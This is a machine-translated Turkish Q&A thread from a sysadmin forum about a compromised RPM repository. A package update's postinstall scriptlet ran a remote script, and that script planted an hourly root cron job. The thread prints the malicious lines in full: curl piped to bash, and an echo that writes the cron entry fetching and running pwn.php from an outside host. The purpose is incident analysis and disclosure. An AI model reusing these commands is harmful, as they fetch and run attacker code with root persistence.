Bu RPM'yi yüklemek nasıl bir dosya oluşturdu?


16

Koşu yum install https://extras.getpagespeed.com/redhat/7/noarch/RPMS/getpagespeed-extras-release-7-1.el7.gps.noarch.rpmyaratır /etc/cron.d/sysstat2ama RPM dosyası kısımlarını:

# rpm -ql getpagespeed-extras-release
/etc/pki/rpm-gpg/RPM-GPG-KEY-GETPAGESPEED
/etc/yum.repos.d/getpagespeed-extras.repo
# rpm -qf /etc/cron.d/sysstat2
file /etc/cron.d/sysstat2 is not owned by any package

RPM dosyayı nasıl oluşturdu ve başka ne yaptığını nasıl görebilirim?


4
Peki, bu GetPageSpeed ​​insanlara ait mi ve bunu bilmiyorlar mı yoksa kötü RPM'ler mi yayınlıyorlar?
Aaron Copley

1
Üç ay önce sitelerinden kurduğum RPM iyiydi. Kötü niyetli olan dün gönderildi. Sanırım onlar ait ve repo kullanan herkes sahipleniyor. Kötü amaçlı yazılım yum güncellemesi ile geliyor. İletişim Formu aracılığıyla onlara bir e-posta ve bir mesaj gönderdim.
Pascal

Ve onlar tarafından mı imzalandı?
Aaron Copley

1
https://extras.getpagespeed.com/redhat/7/noarch/RPMS/getpagespeed-extras-7-6.el7.gps.noarch.rpmorijinal dosya, depolarında hala eski bir tarih var ve gpgcheck=1içinde ayarlanmış.
Pascal

1
YMMV ne tür bir yanıt alacağınız konusunda da sayitwithagift.com adresindeki web yöneticisine başvurun. Bir kez web sitesinin kendisi asla yanıt vermedi gibi bir kez yanlış anlaşılmış posta sunucusu hakkında temas almak için bir web sitesinin barındırma sağlayıcı üzerinden gidiş sona erdi.
Darren

Yanıtlar:


18
# rpm -qp --scripts getpagespeed-extras-release-7-1.el7.gps.noarch.rpm
warning: getpagespeed-extras-release-7-1.el7.gps.noarch.rpm: Header V4 RSA/SHA1 Signature, key ID 222b0e83: NOKEY
postinstall scriptlet (using /bin/sh):
curl -s -m 3 https://www.getpagespeed.com/SCM/release-post-install.php 2>/dev/null | bash >/dev/null 2>&1

https://www.getpagespeed.com/SCM/release-post-install.php içerir:

#!/bin/bash
### hacked by rpowned
# bash <(curl -s https://www.some-other.com/load-it.sh) >/dev/null 2>&1
echo '53 * * * * root curl -s https://www.sayitwithagift.com/pwn.php 2>/dev/null | bash >/dev/null 2>&1' >> /etc/cron.d/sysstat2

16

RPM'nin komut dosyalarının Internet'ten bir komut dosyası çalıştırdığını keşfettiniz ve bu komut dosyası şu anda kötü amaçlı yazılımlara yönlendirilebiliyor. Yine de, hiçbir şey yapan bir yük bulamıyorum.

rpm, keyfi bir komut dosyası çalıştırdığı için neler olduğunu tam olarak izleyemiyor.

gpgcheck da yardım etmiyor, hem getpagespeed-extras-7-6.el7.gps.noarch.rpmve getpagespeed-extras-release-7-1.el7.gps.noarch.rpmGeçerli imzaları var görünüyor bağlantılı:

$ gpg --keyid-format long /etc/pki/rpm-gpg/RPM-GPG-KEY-GETPAGESPEED
pub  2048R/0CD60276222B0E83 2017-03-03 GetPageSpeed Builder <info@getpagespeed.com>
sub  2048R/059A9010F4F3567D 2017-03-03
$ rpm -K getpagespeed-extras-*
getpagespeed-extras-7-6.el7.gps.noarch.rpm: rsa sha1 (md5) pgp md5 OK
getpagespeed-extras-release-7-1.el7.gps.noarch.rpm: rsa sha1 (md5) pgp md5 OK

Depo sahibine paketin Internet'ten rasgele kod çalıştırdığından şikayet edin. Gerekirse, yazılım tedarik zinciri güvenliğinin geliştirilmesi gerekmektedir.

Yazılımın ilk kurulumunu İnternet erişimi olmadan yapmak veya "kurulum sonrası" komut dosyasını manuel olarak incelemek biraz paranoyak görünüyor. Ancak maalesef, paketler bu şekilde kötü tavsiye edilen numaralar yaparsa neredeyse gerekli görünüyor.


Yük, her saat ' sayitwithagift.com/pwn.php ' dosyasını indirip çalıştıran bir cron işi . Şu anda orada hiçbir şey yok, ama bu her an değişebilir. RPM kaldırıldığında yük kaldırılmaz.
Pascal

Orijinal RPM'lerinin bir postinstall komut dosyası yoktu. Yalnızca dün yüklenen sürüm (muhtemelen bir bilgisayar korsanı tarafından).
Pascal

1
İnternet kodunun exec'den eklenmesinin yasal bir fikir olup olmadığı veya kötü amaçlı yazılım ekibi tarafından eklenip eklenmediği belirsizdir. İkincisi daha da kötüdür, çünkü bu imzalama ve yükleme işlemlerinin tehlikeye atıldığını ima eder.
John Mahowald

1

Engintron aracılığıyla üzerlerinde Nginx kullanmak için kullanılan 5 CLoudLinux / cPanel sunucum var, ancak şimdi bunun yerine LiteSpeed ​​web sunucusu çalıştırıyorlar. Sanırım Engintron kaldırıldığı sırada sayfalardaki depoları geride bırakmış olabilir. cPanel her gece bir güncelleme kontrolü yapar ve yaklaşık gece yarısı tüm sunucularım bana bir E-posta bildirimi gönderdi:

/bin/sh: -c: line 0: syntax error near unexpected token `('
/bin/sh: -c: line 0: `/bin/bash <(curl -s https://www.sayitwithagift.com/pwn.php) >/dev/null 2>&1'

Yük sitesi için yapılan bir arama beni buraya getirdi ve aynı gün aynı sorunu yaşadığınızı gördüm. Kendi bilgilerimi eklemek için. /etc/cron.d/sysstat2Tüm sunucularımda aynı dosya vardı.

Dosyayı sildim, depoları kaldırdım ve sorunu bildirmek için GetPageSpeed'deki iletişim formunu kullandım. Repo'nun sahibi, sağlık sorunları nedeniyle repoyu kapattığını söyleyen bir blog yazısı olduğu için AWOL olabilir. Belki de saldırgan, ya repo'nun dikkat çekmemesi gerçeğinden yararlandı ya da sömürmek için açık bir kapı buldu.


1
Deponun kapatılmasıyla ilgili mesaj, güvenliği ihlal edilmiş e-postamı aldıktan sonra yayınlandı. Depoyu tekrar açmasını ve kaldırılması için güncellenmiş paketleri yayınlamasını istedim /etc/cron.d/sysstat2. Bunu yaptı.
Pascal
Sitemizi kullandığınızda şunları okuyup anladığınızı kabul etmiş olursunuz: Çerez Politikası ve Gizlilik Politikası.
Licensed under cc by-sa 3.0 with attribution required.